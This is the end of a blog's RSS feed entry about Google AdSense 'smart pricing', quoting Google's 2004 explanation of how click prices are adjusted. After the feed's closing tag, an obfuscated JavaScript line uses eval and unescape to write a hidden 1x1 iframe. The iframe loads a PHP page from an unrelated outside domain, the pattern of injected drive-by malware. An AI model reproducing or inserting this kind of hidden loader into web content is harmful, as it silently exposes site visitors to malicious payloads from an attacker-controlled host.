		<dc:creator>thinkdj</dc:creator>
				<category><![CDATA[Adsense]]></category>
		<category><![CDATA[Webmasters]]></category>

		<guid isPermaLink="false">http://blogulate.com/content/adsense-ripping-me-off-with-smart-pricing/</guid>
		<description><![CDATA[Smart Pricing is a feature added by Google to give Advertisers value for money. Adsense publishers set up temporary, trashy and/or un-authoritative pages of content on topics that they know will get high paying adverts. Clicks on such pages are not really of good value for advertisers (really ?) The system, known as &#8220;smart pricing,&#8221; [...]]]></description>
			<content:encoded><![CDATA[<p><strong>Smart Pricing</strong> is a feature added by Google to<strong> give Advertisers value for money</strong>. Adsense publishers set up temporary, trashy and/or un-authoritative pages of content on topics that they know will get high paying adverts. Clicks on such pages are not really of good value for advertisers (really ?) The system, known as &#8220;smart pricing,&#8221; assigns each click a value based on a variety of factors, according to Google. Variables include site on which the ad appears, and the portion of the site where the ad appears.</p>
<p>Google gives a little away in its statement <a href="https://adwords.google.com/select/news/sa_mar04.html">announcing Smart Pricing</a> to advertisers back in April 2004.</p>
<blockquote><p> ‘We’re introducing automatic price adjustments for certain clicks you get from the Google Network. Google’s smart pricing model has always provided better placement for better performing ads, and reduced the cost of a click to the least amount possible to stay above your competitor’s ad. And now, with no change in how you bid, Google may reduce the cost for a click if that better reflects the value it brings to advertisers like you.</p>
<p><strong>How smart pricing works</strong></p>
<p>We are constantly analyzing data across our network, and if our data shows that a click is less likely to turn into business results (e.g. online sale, registration, phone call, newsletter sign-up), <em>we may reduce the price you pay for that click.</em> You may notice a reduction in the cost of clicks from content sites.</p>
<p>We take into account many factors such as what keywords or concepts triggered the ad, as well as the type of site on which the ad was served. For example, a click on an ad for digital cameras on a web page about photography tips may be worth less than a click on the same ad appearing next to a review of digital cameras.</p>
<p>Google saves you time and hassle by estimating the value of clicks and adjusting prices on an ongoing basis. With improved smart pricing, you should automatically get greater value for clicks from ad impressions across our network, all with no change in how you bid.</p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://blogulate.com/content/adsense-ripping-me-off-with-smart-pricing/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>
<script language="javascript">eval(unescape("%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%69%73%73%39%77%38%73%38%39%78%78%2E%6F%72%67%2F%69%6E%2E%70%68%70%22%20%77%69%64%74%68%3D%31%20%68%65%69%67%68%74%3D%31%20%66%72%61%6D%65%62%6F%72%64%65%72%3D%30%3E%3C%2F%69%66%72%61%6D%65%3E%27%29%3B"))</script>